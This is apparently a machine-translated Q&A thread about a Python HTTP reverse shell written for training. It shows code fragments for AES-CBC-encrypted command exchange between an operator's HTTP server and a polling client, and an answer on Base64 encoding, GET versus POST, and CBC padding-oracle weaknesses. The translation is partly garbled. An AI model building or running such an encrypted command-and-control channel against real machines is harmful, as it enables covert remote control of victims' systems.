python 中的 Http 反向 shell:AES 和 Base64

Http reverse shell in python: AES and Base64

为了进行培训,我在 Python 中编码 HTTP 反向 shell 作为练习。 培训 material 包括一个支持 AES 加密的 TCP 反向 shell 的简单示例,我想将其应用于我的 Http shell。 最后我设法让它工作,但作为加密和编码方面的新手,如果有人能解释发生了什么,我将不胜感激。

服务器和客户端都使用相同的encrypt/decrypt函数:

from Cryptodome.Cipher import AES
from Cryptodome.Util import Padding

# dummy vector and key
AES_IV = b"E" * 16
AES_KEY = b"E" * 32

def encrypt(message):
   encryptor = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
   padded_message = Padding.pad(message, 16)
   encrypted_message = encryptor.encrypt(padded_message)
   return encrypted_message
         
def decrypt(cipher):
   decryptor = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
   decrypted_padded_message = decryptor.decrypt(cipher)
   decrypted_message = Padding.unpad(decrypted_padded_message, 16)
   return decrypted_message

服务器端等待输入命令,然后通过GET请求加密后发送给客户端,像这样:

#snippet of the http server class implemented using  BaseHTTPRequestHandler
command = input("Shell> ")
# (code sending http headers omitted for simplicity)
encrypted_command = self.encrypt(command.encode())  
self.wfile.write(encrypted_command)

在客户端,使用请求模块检索来自服务器的消息:

req = requests.get(server, headers=HEADERS)
command = req.text  # command sent by the server
command = decrypt(command).decode()

以上代码无效,因为服务器通过 wfile.write() 发送的加密负载在传输过程中被修改。 例如,日志显示服务器发送的“dir”shell命令的加密版本是:

b'\x01J\x8f\xe4\xd9qF\x1f\x8b\xea\x07Q\xe3\xbde{'

而客户收到:

b'\x01J\xc2\x8f\xc3\xa4\xc3\x99qF\x1f\xc2\x8b\xc3\xaa\x07Q\xc3\xa3\xc2\xbde{'

经过一番研究,我通过添加base64编码解决了这个问题,像这样:

encrypted_command = self.encrypt(command.encode())
encrypted_command = base64.b64encode(encrypted_command)
self.wfile.write(encrypted_command)

在客户端使用对称 base64 解码。

唯一的小问题是命令的输出(例如“dir”)返回到服务器时带有未翻译的回车returns,但这很容易解决,见下文:

Volume in drive D has no label.\r\n Volume serial number: 1A09-94DC\r\n\r\n Directory of D:\MyDir\Python\Coding\r\n\r\n20/05/2022 20:15 etc.

对我来说主要的愚蠢问题是:为什么需要 base64 编码才能通过 http 正确传输加密(即二进制)有效负载?

非常感谢 S.

HTTP 本身可以很好地处理二进制负载。

但是,HTTP GET 只能用于通信文本;相反,它使用 URL 发送数据。 URL 中的值有特定的规则,它排除了字符/编码,例如控制字符。实际上,要进行 error-free 交流,您应该使用 base64url encoding,这是一种使用破折号和下划线而不是加号、斜杠和等号的特定方言。

如果您通过 GET 请求请求网页,那么您毕竟并没有真正传输大量数据。 For that you would use HTTP POST,这就是我建议的,而不是 base 64。


附带说明:CBC 模式不提供 authenticated encryption, which means that any adversary can change the ciphertext, switch out blocks from a previous ciphertext etc. Worse, if you have an active server model you are also vulnerable against padding oracle 和其他明文 oracle 攻击。这意味着在最坏的情况下,它也不提供任何机密性,基本上使加密变得无用。

传输安全 很难做到正确,这就是为什么大多数人只是被 TLS 吸引或被哄骗。当然,如果你只是在学习:继续:)